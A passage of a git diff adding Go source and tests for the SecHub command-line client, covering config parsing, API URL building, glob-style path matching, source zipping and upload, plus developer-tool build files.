multipart.NewWriter(body) + part, err := writer.CreateFormFile(paramName, filepath.Base(path)) + if err != nil { + return nil, err + } + _, err = io.Copy(part, file) + + if err != nil { + return nil, err + } + + for key, val := range params { + _ = writer.WriteField(key, val) + } + err = writer.Close() + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", uploadToURL, body) + req.Header.Set("Content-Type", writer.FormDataContentType()) + return req, err +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/sechubconfig.go b/sechub-cli/src/daimler.com/sechub/cli/sechubconfig.go new file mode 100644 index 0000000000..46f0d16592 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/sechubconfig.go @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "encoding/json" + "fmt" + "io/ioutil" + "os" +) + +// The configuration pendant in Go. But we do only necessary parts from JSON file! +// so Webscan, InfraScan are not handled here (but still uploaded) +// Only code scan is necessary, because determination necessary if there is an upload necessary or not. +type SecHubConfig struct { + APIVersion string `json:"apiVersion"` + User string `json:"user"` + ProjectId string `json:"project"` + Server string `json:"server"` + CodeScan CodeScanConfig `json:"codeScan"` +} + +type CodeScanConfig struct { + FileSystem FileSystemConfig `json:"fileSystem"` + Excludes []string `json:"excludes"` +} + +type FileSystemConfig struct { + Folders []string `json:"folders"` +} + +func newSecHubConfigFromString(json string) SecHubConfig { + return newSecHubConfigFromBytes([]byte(json)) +} + +func newSecHubConfigFromBytes(bytes []byte) SecHubConfig { + var sechubConfig SecHubConfig + + /* transform text to json */ + err := json.Unmarshal(bytes, &sechubConfig) + if err != nil { + fmt.Println("sechub confiuration json is not valid json") + showHelpHint() + os.Exit(EXIT_CODE_MISSING_CONFIGFILE) + } + return sechubConfig +} + +func showHelpHint() { + fmt.Println("Call sechub with --help option to show correct usage and examples") +} + +func newSecHubConfigurationFromFile(context *Context, filePath string) SecHubConfig { + LogDebug(context, fmt.Sprintf("Loading config file: '%s'\n", filePath)) + + /* open file and check exists */ + jsonFile, err := os.Open(filePath) + defer jsonFile.Close() + + if err != nil { + fmt.Println(err) + showHelpHint() + os.Exit(EXIT_CODE_MISSING_CONFIGFILE) + } + + /* read text content */ + context.byteValue, err = ioutil.ReadAll(jsonFile) + if err != nil { + fmt.Println(err) + showHelpHint() + os.Exit(EXIT_CODE_MISSING_CONFIGFILE) + } + + return newSecHubConfigFromBytes(context.byteValue) +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/sechubconfig_test.go b/sechub-cli/src/daimler.com/sechub/cli/sechubconfig_test.go new file mode 100644 index 0000000000..8f65bdd8db --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/sechubconfig_test.go @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + . "daimler.com/sechub/testutil" + "fmt" + "testing" +) + +func Test_newSecHubConfigFromString_works_for_given_json(t *testing.T) { + + jStr := ` + { + "apiVersion" : "1.2.3", + "codeScan":{ + "zipDate":"1234", + "fileSystem": { + "folders": ["1111","2222"] + } + } + } + ` + var config SecHubConfig = newSecHubConfigFromString(jStr) + fmt.Printf("Loaded config: %s", config) + AssertEquals("1.2.3", config.APIVersion, t) + AssertEquals("1111", config.CodeScan.FileSystem.Folders[0], t) +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/urlbuilder.go b/sechub-cli/src/daimler.com/sechub/cli/urlbuilder.go new file mode 100644 index 0000000000..771e4b4deb --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/urlbuilder.go @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + "fmt" +) + +// https://localhost:8443/api/project/testproject/job/ +func buildCreateNewSecHubJobAPICall(context *Context) string { + + apiPart := fmt.Sprintf("project/%s/job", context.config.projectId) + return buildAPIUrl(&context.config.server, &apiPart) +} + +// https://localhost:8443/api/project/testproject/job/e21b13fc-591e-4abd-b119-755d473c5625/approve +func buildApproveSecHubJobAPICall(context *Context) string { + + apiPart := fmt.Sprintf("project/%s/job/%s/approve", context.config.projectId, context.config.secHubJobUUID) + return buildAPIUrl(&context.config.server, &apiPart) +} + +// https://localhost:8443/api/project/testproject/job/e21b13fc-591e-4abd-b119-755d473c5625/sourcecode +func buildUploadSourceCodeAPICall(context *Context) string { + apiPart := fmt.Sprintf("project/%s/job/%s/sourcecode", context.config.projectId, context.config.secHubJobUUID) + return buildAPIUrl(&context.config.server, &apiPart) +} + +// https://localhost:8443/api/project/testproject/job/e21b13fc-591e-4abd-b119-755d473c5625 +func buildGetSecHubJobStatusAPICall(context *Context) string { + apiPart := fmt.Sprintf("project/%s/job/%s", context.config.projectId, context.config.secHubJobUUID) + return buildAPIUrl(&context.config.server, &apiPart) +} + +// https://localhost:8443/api/project/testproject/report/e21b13fc-591e-4abd-b119-755d473c5625 +func buildGetSecHubJobReportAPICall(context *Context) string { + apiPart := fmt.Sprintf("project/%s/report/%s", context.config.projectId, context.config.secHubJobUUID) + return buildAPIUrl(&context.config.server, &apiPart) +} + +func buildAPIUrl(server *string, apiPart *string) string { + return fmt.Sprintf("%s/api/%s", *server, *apiPart) +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/urlbuilder_test.go b/sechub-cli/src/daimler.com/sechub/cli/urlbuilder_test.go new file mode 100644 index 0000000000..25894db1ca --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/urlbuilder_test.go @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: MIT +package cli + +import ( + . "daimler.com/sechub/testutil" + "testing" +) + +// https://localhost:8443/api/project/testproject/job/ +func TestBuildCreateNewSecHubJobAPICall(t *testing.T) { + /* prepare */ + context := new(Context) + config := new(Config) + + context.config = config + config.projectId = "testproject" + config.server = "https://localhost:8443" + + /* execute */ + result := buildCreateNewSecHubJobAPICall(context) + + /* test*/ + AssertEquals("https://localhost:8443/api/project/testproject/job", result, t) + +} + +// https://localhost:8443/api/project/testproject/job/e21b13fc-591e-4abd-b119-755d473c5625 +func TestBuildGetSecHubJobStatusAPICall(t *testing.T) { + /* prepare */ + context := new(Context) + config := new(Config) + + context.config = config + config.projectId = "testproject" + config.server = "https://localhost:8443" + + config.secHubJobUUID = "e21b13fc-591e-4abd-b119-755d473c5625" + + /* execute */ + result := buildGetSecHubJobStatusAPICall(context) + + /* test*/ + AssertEquals("https://localhost:8443/api/project/testproject/job/e21b13fc-591e-4abd-b119-755d473c5625", result, t) + +} + +// https://localhost:8443/api/project/testproject/report/e21b13fc-591e-4abd-b119-755d473c5625 +func TestBuildGetSecHubJobReportAPICall(t *testing.T) { + /* prepare */ + context := new(Context) + config := new(Config) + + context.config = config + config.projectId = "testproject" + config.server = "https://localhost:8443" + + config.secHubJobUUID = "e21b13fc-591e-4abd-b119-755d473c5625" + + /* execute */ + result := buildGetSecHubJobReportAPICall(context) + + /* test*/ + AssertEquals("https://localhost:8443/api/project/testproject/report/e21b13fc-591e-4abd-b119-755d473c5625", result, t) + +} + +// https://localhost:8443/api/project/testproject/job/e21b13fc-591e-4abd-b119-755d473c5625 +func TestBuildPostSecHubUploadSourceCodeAPICall(t *testing.T) { + /* prepare */ + context := new(Context) + config := new(Config) + + context.config = config + config.projectId = "testproject" + config.server = "https://localhost:8443" + + config.secHubJobUUID = "e21b13fc-591e-4abd-b119-755d473c5625" + + /* execute */ + result := buildUploadSourceCodeAPICall(context) + + /* test*/ + AssertEquals("https://localhost:8443/api/project/testproject/job/e21b13fc-591e-4abd-b119-755d473c5625/sourcecode", result, t) + +} diff --git a/sechub-cli/src/daimler.com/sechub/cli/version.go.template b/sechub-cli/src/daimler.com/sechub/cli/version.go.template new file mode 100644 index 0000000000..f653945101 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/cli/version.go.template @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +package cli + +// This is a template for go file "version.go" +// It will be generated by gradle on build time and is discarded from SCM! +var version string = "__version__" + +func Version() string { + return version +} diff --git a/sechub-cli/src/daimler.com/sechub/sechub.go b/sechub-cli/src/daimler.com/sechub/sechub.go new file mode 100644 index 0000000000..06ff6c5715 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/sechub.go @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +package main + +/* + * Main entry point for SECHUB CLI client. + */ +import ( + "daimler.com/sechub/cli" +) + +func main() { + /* mainpackage : cli so cli.Execute() - done by controller.go*/ + cli.Execute() +} diff --git a/sechub-cli/src/daimler.com/sechub/testutil/asserts.go b/sechub-cli/src/daimler.com/sechub/testutil/asserts.go new file mode 100644 index 0000000000..ab0a207596 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/testutil/asserts.go @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +package util + +import "testing" +import "strings" + +func AssertContains(list []string, wanted string, t *testing.T) { + if !Contains(list, wanted) { + t.Fatalf("Did not found %s inside %s", wanted, list) + } +} + +func AssertContainsNot(list []string, wanted string, t *testing.T) { + if Contains(list, wanted) { + t.Fatalf("Did found %s inside %s", wanted, list) + } +} +func AssertSize(list []string, wantedLength int, t *testing.T) { + length := len(list) + if length != wantedLength { + t.Fatalf("Expected size %d but found %d", length, wantedLength) + } +} + +func AssertEquals(expected string, found string, t *testing.T) { + if expected != found { + t.Fatalf("Strings differ:\nExpected:%s\nGot :%s", expected, found) + } +} + +func AssertTrue(found bool, t *testing.T) { + if !found { + t.Fatalf("Assert failed - not true, but false") + } +} + +func AssertFalse(found bool, t *testing.T) { + if found { + t.Fatalf("Assert failed - not false, but true") + } +} + + +func Check(err error, t *testing.T) { + if err != nil { + t.Fatalf("Error detected:%s", err) + } +} + +func Contains(list []string, wanted string) bool { + for _, found := range list { + if found == wanted { + return true + } + } + return false +} + +/* converts a path containing windows separators to unix ones */ +func ConvertBackslashPath(path string) string { + return strings.Replace(path, "\\", "/", -1) /* convert all \ to / if on a windows machine */ +} diff --git a/sechub-cli/src/daimler.com/sechub/util/checksumsha256.go b/sechub-cli/src/daimler.com/sechub/util/checksumsha256.go new file mode 100644 index 0000000000..57f1351f9d --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/util/checksumsha256.go @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +package util + +import ( + "crypto/sha256" + "encoding/hex" + "io" + "log" + "os" +) + +func CreateChecksum(filename string) string { + hasher := sha256.New() + + f, err := os.Open(filename) + if err != nil { + log.Fatal(err) + os.Exit(1) + } + defer f.Close() + if _, err := io.Copy(hasher, f); err != nil { + log.Fatal(err) + os.Exit(1) + } + + return hex.EncodeToString(hasher.Sum(nil)) +} diff --git a/sechub-cli/src/daimler.com/sechub/util/filepathmatcher.go b/sechub-cli/src/daimler.com/sechub/util/filepathmatcher.go new file mode 100644 index 0000000000..b9ce36b90b --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/util/filepathmatcher.go @@ -0,0 +1,93 @@ +// SPDX-License-Identifier: MIT +package util + +import ( + "fmt" + "path/filepath" + "strings" +) + +// +// This method provides ANT like selectors. +// For example: "**/a*.txt" will accept +// - "/home/tester/xyz/a1234.txt +// - "/root/a1b.txt +// +func Filepathmatch(path string, pattern string) (result bool) { + /* ------------------------------ */ + /* Explanation - how it works ... */ + /* ------------------------------ */ + // - we separate pattern into different path patterns by path wildcards into elements + // - then the last element is inspected to be a file wildcard + // - file wildcards are resolved /tried by golang filepath.Match method + // - if this is okay we do our special path wildcard matching + + + /* separate patterns containing path wildcards */ + subPattern := strings.Split(pattern, "**/") +// fmt.Printf("\n%s - seperated into %q", pattern, subPattern) + length := len(subPattern) + potentialFilePattern := subPattern[length-1] + + /* ------------------------ */ + /* handle file name pattern */ + /* ------------------------ */ + substring := path + if strings.Index(potentialFilePattern, "*") != -1 { + /* found a file pattern in last entry */ + /* change length - so slice not changed but last entry no longer handled later */ + length-- + + /* check if file patter is applicable */ + lastPathIndex := strings.LastIndex(path, "/") + fileName := path + indexForCut := lastPathIndex + if lastPathIndex != -1 { + fileName = path[lastPathIndex:] + } else { + indexForCut = 0 + } + /* we just use the golang integrated filename matcher:*/ + matches, err := filepath.Match(potentialFilePattern, fileName) + if err != nil { + fmt.Println(err) + } + if !matches { + return false + } + + /* remove filename for further path inspection*/ + substring = path[indexForCut : len(path)-indexForCut] + } + + /* -------------------- */ + /* handle path patterns */ + /* -------------------- */ + lastOneWasAsterisk := false + for i := 0; i < length; i++ { + currentSearch := subPattern[i] + if currentSearch == "" { + /* this is double asterisk at the begining*/ + /* so we just accept all here*/ + lastOneWasAsterisk=true + continue + } + /* search for next occurrence */ + index := strings.Index(substring, currentSearch) + if index == -1 { + /* search not found*/ + return false + } + if !lastOneWasAsterisk && index != 0 { + /* found but not starting with it*/ + /* when last pattern was not an asterisk ...*/ + return false + } + substring = substring[index+len(currentSearch):] + /* after first entry we have always path asterisks between - even + * when we got no longer "" between (happens only on first entry) + */ + lastOneWasAsterisk=true + } + return true +} diff --git a/sechub-cli/src/daimler.com/sechub/util/filepathmatcher_test.go b/sechub-cli/src/daimler.com/sechub/util/filepathmatcher_test.go new file mode 100644 index 0000000000..dfa3a551b0 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/util/filepathmatcher_test.go @@ -0,0 +1,71 @@ +// SPDX-License-Identifier: MIT +package util + +import ( + . "daimler.com/sechub/testutil" + "testing" +) + +func Test_Simple_filename_and_pattern_with_asterisk_at_start_and_prefix_matches(t *testing.T) { + AssertTrue(Filepathmatch("a.txt", "*.txt"), t) +} + +func Test_Simple_filename_and_pattern_with_asterisk_but_more_matches(t *testing.T) { + /* must match*/ + AssertTrue(Filepathmatch("a1.txt", "a*1.txt"), t) + AssertTrue(Filepathmatch("a_bla_bla_1.txt", "a*1.txt"), t) + AssertTrue(Filepathmatch("a1.txt", "a*.*"), t) + AssertTrue(Filepathmatch("a1.doc", "a*.*"), t) + AssertTrue(Filepathmatch("a.doc", "a*.*"), t) + + /* must fail*/ + AssertFalse(Filepathmatch("a2.txt", "a1.txt"), t) + AssertFalse(Filepathmatch("a2.txt", "a*1.txt"), t) + AssertFalse(Filepathmatch("a2.txt", "a1*.txt"), t) +} + +func TestXYZ_When_NO_double_asterisk_and_path_is_same_it_matches(t *testing.T) { + /* exact match*/ + AssertTrue(Filepathmatch("/home/gargamel/schlumpfine/testfolder/a.txt", "/home/gargamel/schlumpfine/testfolder/a.txt"), t) + + /* no match, no wildcards */ + AssertFalse(Filepathmatch("/x/y/z/V/a.txt", "a.txt"), t) +} + +func Test_When_double_asterisk_on_start_any_path_is_accepted_when_filename_without_asterisk_matches(t *testing.T) { + /* filenames all matching but different pathes */ + AssertTrue(Filepathmatch("/home/gargamel/schlumpfine/testfolder/a.txt", "**/a.txt"), t) + AssertTrue(Filepathmatch("/home/gargamel/testfolder/a.txt", "**/a.txt"), t) + AssertTrue(Filepathmatch("/x/y/z/V/a.txt", "**/a.txt"), t) + + /* but not when filename does not match*/ + AssertFalse(Filepathmatch("/x/y/z/V/b.txt", "**/a.txt"), t) + AssertFalse(Filepathmatch("/x/y/z/V/a.txt", "**/b.txt"), t) +} + +func Test_When_double_asterisk_on_inside_path_is_accepted_when_filename_without_asterisk_matches(t *testing.T) { + /* filenames all matching but different pathes */ + AssertTrue(Filepathmatch("/home/gargamel/schlumpfine/testfolder/a.txt", "/home/**/a.txt"), t) + AssertTrue(Filepathmatch("/home/gargamel/testfolder/a.txt", "/home/gargamel/**/a.txt"), t) + AssertTrue(Filepathmatch("/x/y/z/V/a.txt", "/x/y/z/**/a.txt"), t) + + /* but not when filename does not match*/ + AssertFalse(Filepathmatch("/x/y/z/V/b.txt", "/x/**/a.txt"), t) + AssertFalse(Filepathmatch("/x/y/z/V/a.txt", "/x/**/b.txt"), t) +} + +func Test_When_multiple_double_asterisk_on_inside_path_is_accepted_when_filename_without_asterisk_matches(t *testing.T) { + /* filenames all matching but different pathes */ + AssertTrue(Filepathmatch("/x/y/z/V/a.txt", "/x/**/V/a.txt"), t) + AssertTrue(Filepathmatch("/home/gargamel/schlumpfine/testfolder/a.txt", "/home/**/schlumpfine/**/a.txt"), t) + AssertTrue(Filepathmatch("/home/gargamel/schlumpfine/testfolder/a.txt", "/home/**/**/a.txt"), t) + AssertTrue(Filepathmatch("/home/gargamel/schlumpfine/testfolder/a.txt", "/home/**/a.txt"), t) + + /* but not when filename does not match*/ + AssertFalse(Filepathmatch("/x/y/z/V/a.txt", "/x/**/V/b.txt"), t) + AssertFalse(Filepathmatch("/home/gargamel/schlumpfine/testfolder/a.txt", "/home/**/schlaubi/**/a.txt"), t) +} + +//func Test_Path_and_simple_filename_and_pattern_with_asterisk_at_start_and_prefix_matches(t *testing.T) { +// AssertTrue(Filepathmatch("/home/albert/a.txt","/home/albert/*.txt"), t) +//} diff --git a/sechub-cli/src/daimler.com/sechub/util/zip.go b/sechub-cli/src/daimler.com/sechub/util/zip.go new file mode 100644 index 0000000000..e50ff84e79 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/util/zip.go @@ -0,0 +1,154 @@ +// SPDX-License-Identifier: MIT +package util + +// inspired by https://golangcode.com/create-zip-files-in-go/ +// inspired by https://stackoverflow.com/questions/49057032/recursively-zipping-a-directory-in-golang + +import ( + "archive/zip" + "errors" + "io" + "log" + "os" + "path/filepath" + "strings" +) + +type zipcontext struct { + atLeastOneFileZipped bool + filename string + config *ZipConfig +} + +type ZipConfig struct { + Folders []string + Excludes []string +} + +/** + * Will zip given content of given folders into given filePath. + * E.g. when filePath contains subfolder sub1/text1.txt, sub2/text2.txt, sub2/sub3/text3.txt the + * zip of sub1 and sub2 will result in "text1.txt,text2.txt,sub3/text3.txt" ! + * This is optimized for sourcecode zipping when having multiple source folders + */ +func ZipFolders(filePath string, config *ZipConfig) (err error) { + filename, _ := filepath.Abs(filePath) + /* create parent folders if not existing */ + if _, err = os.Stat(filename); os.IsNotExist(err) { + err = os.MkdirAll(filepath.Dir(filename), 0644) + if err != nil { + return err + } + } + /* create zip file */ + newZipFile, err := os.Create(filename) + if err != nil { + return err + } + defer newZipFile.Close() + + /* create zip writer */ + zipWriter := zip.NewWriter(newZipFile) + defer zipWriter.Close() + + /* define zip context */ + zipcontext := new(zipcontext) + zipcontext.filename = filename + zipcontext.config = config + + /* for each folder */ + for _, folder := range config.Folders { + err = zipOneFolderRecursively(zipWriter, folder, zipcontext) + if err != nil { + return err + } + } + if !zipcontext.atLeastOneFileZipped { + return errors.New("Zipfile has no content!") + } + + return nil +} + +func zipOneFolderRecursively(zipWriter *zip.Writer, folder string, zContext *zipcontext) error { + filepathAbs, err := filepath.Abs(folder) + if _, err := os.Stat(filepathAbs); os.IsNotExist(err) { + return errors.New("Did not found folder " + folder) + } + log.Printf("Zipping folder: %s", filepathAbs) + + err = filepath.Walk(folder, func(filePath string, info os.FileInfo, err error) error { + if info == nil { + return errors.New("Did not found folder file info " + folder) + } + if info.IsDir() { + return nil + } + if err != nil { + return err + } + if zContext.filename == filePath { + return errors.New("Target zipfile would be part of zipped content, leading to infinite loop. Please change target path!") + } + /* folder : e.g. "./../../../../build/go-zip/source-for-zip/sub1" */ + folderAbs, err := filepath.Abs(folder) /* e.g. /home/albert/project/build/go-zip/source-for-zip/sub1"*/ + folderAbs = filepath.Clean(folderAbs) /* remove if trailing is there*/ + folderAbs = folderAbs + string(os.PathSeparator) /* append always a trailing slash at the end..., so it will be removed on relative path */ + if err != nil { + return err + } + fileAbs, err := filepath.Abs(filePath) + if err != nil { + return err + } + relPathFromFolder := filepath.Clean(strings.TrimPrefix(fileAbs, folderAbs)) /* e.g. "/sub1"*/ + + /* Filter excludes */ + for _, excludePattern := range zContext.config.Excludes { + if Filepathmatch(relPathFromFolder, excludePattern) { +// log.Printf("Excluded: %s because of pattern:'%s'", relPathFromFolder,excludePattern) + return nil + } + } + + /* handle */ + zipfile, err := os.Open(filePath) + if err != nil { + return err + } + defer zipfile.Close() + + // Get the file information + info, err = zipfile.Stat() + if err != nil { + return err + } + + header, err := zip.FileInfoHeader(info) + if err != nil { + return err + } + + // Using FileInfoHeader() above only uses the basename of the file. If we want + // to preserve the folder structure we can overwrite this with the full path. + header.Name = relPathFromFolder + + // Change to deflate to gain better compression + // see http://golang.org/pkg/archive/zip/#pkg-constants + header.Method = zip.Deflate + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return err + } + if _, err = io.Copy(writer, zipfile); err != nil { + return err + } + + /* done */ + zContext.atLeastOneFileZipped = true + return nil + }) + return err +} + diff --git a/sechub-cli/src/daimler.com/sechub/util/zip_test.go b/sechub-cli/src/daimler.com/sechub/util/zip_test.go new file mode 100644 index 0000000000..ebba0e85f7 --- /dev/null +++ b/sechub-cli/src/daimler.com/sechub/util/zip_test.go @@ -0,0 +1,293 @@ +// SPDX-License-Identifier: MIT +package util + +import ( + . "daimler.com/sechub/testutil" + //"path/filepath" + "archive/zip" + "fmt" + "io/ioutil" + "log" + "os" + //"strings" + // "path/filepath" + "testing" +) + +func TestZipFileBeingPartOfScannedFoldersIsRejected(t *testing.T) { + /* prepare */ + dir, err := ioutil.TempDir("", "sechub-cli-temp") + if err != nil { + log.Fatal(err) + } + defer os.RemoveAll(dir) + + if _, err := os.Stat(dir); os.IsNotExist(err) { + err = os.MkdirAll(dir, 0644) + log.Printf("Created not existing directory:%s", dir) + if err != nil { + t.Fatalf("cannot create test zip folder output - error: %s", err) + } + } + dirname1 := dir + "/sub1" + dirname2 := dir + "/sub2" + dirname3 := dir + "/sub2/sub3" + + os.Mkdir(dirname1, 0777) + os.Mkdir(dirname2, 0777) + os.Mkdir(dirname3, 0777) + + filename1 := dirname1 + "/file1.txt" + filename2 := dirname2 + "/file2.txt" + filename3 := dirname3 + "/file3.txt" + + d1 := []byte("hello\ngo1\n") + err = ioutil.WriteFile(filename1, d1, 0644) + Check(err, t) + fmt.Printf("written file1:%s\n", filename1) + + d2 := []byte("hello\ngo2\n") + err = ioutil.WriteFile(filename2, d2, 0644) + Check(err, t) + fmt.Printf("written file2:%s\n", filename2) + + d3 := []byte("hello\ngo3\n") + err = ioutil.WriteFile(filename3, d3, 0644) + Check(err, t) + fmt.Printf("written file3:%s\n", filename3) + + /* path to zipfile is also part of added files - because in dirname1*/ + path := dirname1 + "/testoutput.zip" + + /* execute */ + err = ZipFolders(path, &ZipConfig{Folders: []string{dirname1, dirname2} }) + + + /* test */ + expectedErrMsg := "Target zipfile would be part of zipped content, leading to infinite loop. Please change target path!" + + if err == nil { + t.Fatalf("No error returned!") + } + + if err.Error() != expectedErrMsg { + t.Fatalf("Wrong Error\nActual = %v, \nExpected = %v.", err.Error(), expectedErrMsg) + } + +} + + +func TestZipFileEmptyIsRejected(t *testing.T) { + /* prepare */ + dir, err := ioutil.TempDir("", "sechub-cli-temp") + if err != nil { + log.Fatal(err) + } + defer os.RemoveAll(dir) + + if _, err := os.Stat(dir); os.IsNotExist(err) { + err = os.MkdirAll(dir, 0644) + log.Printf("Created not existing directory:%s", dir) + if err != nil { + t.Fatalf("cannot create test zip folder output - error: %s", err) + } + } + dirname1 := dir + "/sub1" + dirname2 := dir + "/sub2" + dirname3 := dir + "/sub2/sub3" + + os.Mkdir(dirname1, 0777) + os.Mkdir(dirname2, 0777) + os.Mkdir(dirname3, 0777) + + /* we do only add empty folders, but not any content - so zip file will be empty. The implementation + * must ensure that this cannot happen because otherwise we upload empty data which will always have a + * greeen result + */ + path := dir + "/testoutput.zip" + + /* execute */ + err = ZipFolders(path, &ZipConfig{Folders: []string{dirname1, dirname2} }) + expectedErrMsg := "Zipfile has no content!" + + /* test */ + if err == nil { + t.Fatalf("No error returned!") + } + + if err.Error() != expectedErrMsg { + t.Fatalf("Error actual = %v, and Expected = %v.", err.Error(), expectedErrMsg) + } + +} + +func TestZipFileCanBeCreated(t *testing.T) { + /* prepare */ + dir, err := ioutil.TempDir("", "sechub-cli-temp") + if err != nil { + log.Fatal(err) + } + defer os.RemoveAll(dir) + + if _, err := os.Stat(dir); os.IsNotExist(err) { + err = os.MkdirAll(dir, 0644) + log.Printf("Created not existing directory:%s", dir) + if err != nil { + t.Fatalf("cannot create test zip folder output - error: %s", err) + } + } + dirname1 := dir + "/sub1" + dirname2 := dir + "/sub2" + dirname3 := dir + "/sub2/sub3" + + os.Mkdir(dirname1, 0777) + os.Mkdir(dirname2, 0777) + os.Mkdir(dirname3, 0777) + + filename1 := dirname1 + "/file1.txt" + filename2 := dirname2 + "/file2.txt" + filename3 := dirname3 + "/file3.txt" + + d1 := []byte("hello\ngo1\n") + err = ioutil.WriteFile(filename1, d1, 0644) + Check(err, t) + fmt.Printf("written file1:%s\n", filename1) + + d2 := []byte("hello\ngo2\n") + err = ioutil.WriteFile(filename2, d2, 0644) + Check(err, t) + fmt.Printf("written file2:%s\n", filename2) + + d3 := []byte("hello\ngo3\n") + err = ioutil.WriteFile(filename3, d3, 0644) + Check(err, t) + fmt.Printf("written file3:%s\n", filename3) + + path := dir + "/testoutput.zip" + + /* execute */ + err = ZipFolders(path, &ZipConfig{Folders: []string{dirname1, dirname2} }) + + /* ---- */ + /* test */ + /* ---- */ + Check(err, t) + if _, err := os.Stat(path); os.IsNotExist(err) { + t.Fatalf("resulted zipfile does not exist!") + } + fi, err2 := os.Stat(path) + if err2 != nil { + t.Fatalf("found error: %s", err2) + } + if fi.Size() < 300 { + t.Fatalf("resulted empty zip file!!!") + } + + /* read content of zipfile*/ + zf, err := zip.OpenReader(path) + Check(err, t) + defer zf.Close() + + list := []string{} + for _, file := range zf.File { + name := ConvertBackslashPath(file.Name) + list = append(list, name) + } + AssertContains(list, "file1.txt", t) + AssertContains(list, "file2.txt", t) + AssertContains(list, "sub3/file3.txt", t) + AssertSize(list, 3, t) + + /* cross check: checksum calculated twice for generated zip does always be the same */ + checksum1 := CreateChecksum(path) + checksum2 := CreateChecksum(path) + AssertEquals(checksum1, checksum2, t) +} + + +func TestZipFileCanBeCreated_with_exclude_patterns_applied(t *testing.T) { + /* prepare */ + dir, err := ioutil.TempDir("", "sechub-cli-temp") + if err != nil { + log.Fatal(err) + } + defer os.RemoveAll(dir) + + if _, err := os.Stat(dir); os.IsNotExist(err) { + err = os.MkdirAll(dir, 0644) + log.Printf("Created not existing directory:%s", dir) + if err != nil { + t.Fatalf("cannot create test zip folder output - error: %s", err) + } + } + dirname1 := dir + "/sub1" + dirname2 := dir + "/sub2" + dirname3 := dir + "/sub2/sub3" + + os.Mkdir(dirname1, 0777) + os.Mkdir(dirname2, 0777) + os.Mkdir(dirname3, 0777) + + filename0 := dirname1 + "/file0.txt" + filename1 := dirname1 + "/file1.txt" + filename2 := dirname2 + "/file2.txt" + filename3 := dirname3 + "/file3.txt" + + d0 := []byte("hello\ngo0\n") + err = ioutil.WriteFile(filename0, d0, 0644) + Check(err, t) + fmt.Printf("written file0:%s\n", filename0) + + d1 := []byte("hello\ngo1\n") + err = ioutil.WriteFile(filename1, d1, 0644) + Check(err, t) + fmt.Printf("written file1:%s\n", filename1) + + d2 := []byte("hello\ngo2\n") + err = ioutil.WriteFile(filename2, d2, 0644) + Check(err, t) + fmt.Printf("written file2:%s\n", filename2) + + d3 := []byte("hello\ngo3\n") + err = ioutil.WriteFile(filename3, d3, 0644) + Check(err, t) + fmt.Printf("written file3:%s\n", filename3) + + path := dir + "/testoutput.zip" + + /* execute */ + config:=ZipConfig{Folders: []string{dirname1, dirname2}, Excludes: []string{"**/file3.txt","f*0*.txt"}} + err = ZipFolders(path, &config) + + /* ---- */ + /* test */ + /* ---- */ + Check(err, t) + if _, err := os.Stat(path); os.IsNotExist(err) { + t.Fatalf("resulted zipfile does not exist!") + } + fi, err2 := os.Stat(path) + if err2 != nil { + t.Fatalf("found error: %s", err2) + } + if fi.Size() < 300 { + t.Fatalf("resulted empty zip file!!!") + } + + /* read content of zipfile*/ + zf, err := zip.OpenReader(path) + Check(err, t) + defer zf.Close() + + list := []string{} + for _, file := range zf.File { + name := ConvertBackslashPath(file.Name) + list = append(list, name) + } + AssertContainsNot(list, "file0.txt", t) // this file may not be inside, because excluded! (/sub1/file0.txt) + AssertContains(list, "file1.txt", t) // this must remain + AssertContains(list, "file2.txt", t) // this must remain + AssertContainsNot(list, "sub3/file3.txt", t) // this file may not be inside, because excluded! + AssertSize(list, 2, t) + +} diff --git a/sechub-developertools/README.md b/sechub-developertools/README.md new file mode 100644 index 0000000000..8b14dd7e24 --- /dev/null +++ b/sechub-developertools/README.md @@ -0,0 +1,13 @@ + +What is "sechub-developertools" for? +==================================== + +A collection of some tooling around sechub which is only available for developers and not part of +a deployment or a client given to users. + +__NEVER give those tools to admins or users!__ + +## Content: +### 1. Quick and dirty admin client +One of the first things created here is a simple quick and dirty administration client which will reuse parts +from integration test project - e.g. rest api access, url building etc. which is already done there. *So we do not reinvent the wheel...* \ No newline at end of file diff --git a/sechub-developertools/build.gradle b/sechub-developertools/build.gradle new file mode 100644 index 0000000000..f20ac50361 --- /dev/null +++ b/sechub-developertools/build.gradle @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + + compile project(':sechub-testframework') + compile project(':sechub-integrationtest') +} + diff --git a/sechub-developertools/client-test/.gitignore b/sechub-developertools/client-test/.gitignore new file mode 100644 index 0000000000..e417daa67f --- /dev/null +++ b/sechub-developertools/client-test/.gitignore @@ -0,0 +1,3 @@ +!*.json +*.zip +sechub_report*.json \ No newline at end of file diff --git a/sechub-developertools/client-test/README.md b/sechub-developertools/client-test/README.md new file mode 100644 index 0000000000..7c3acb76d5 --- /dev/null +++ b/sechub-developertools/client-test/README.md @@ -0,0 +1,17 @@ + +#Client test files +in this folder you will find some files like 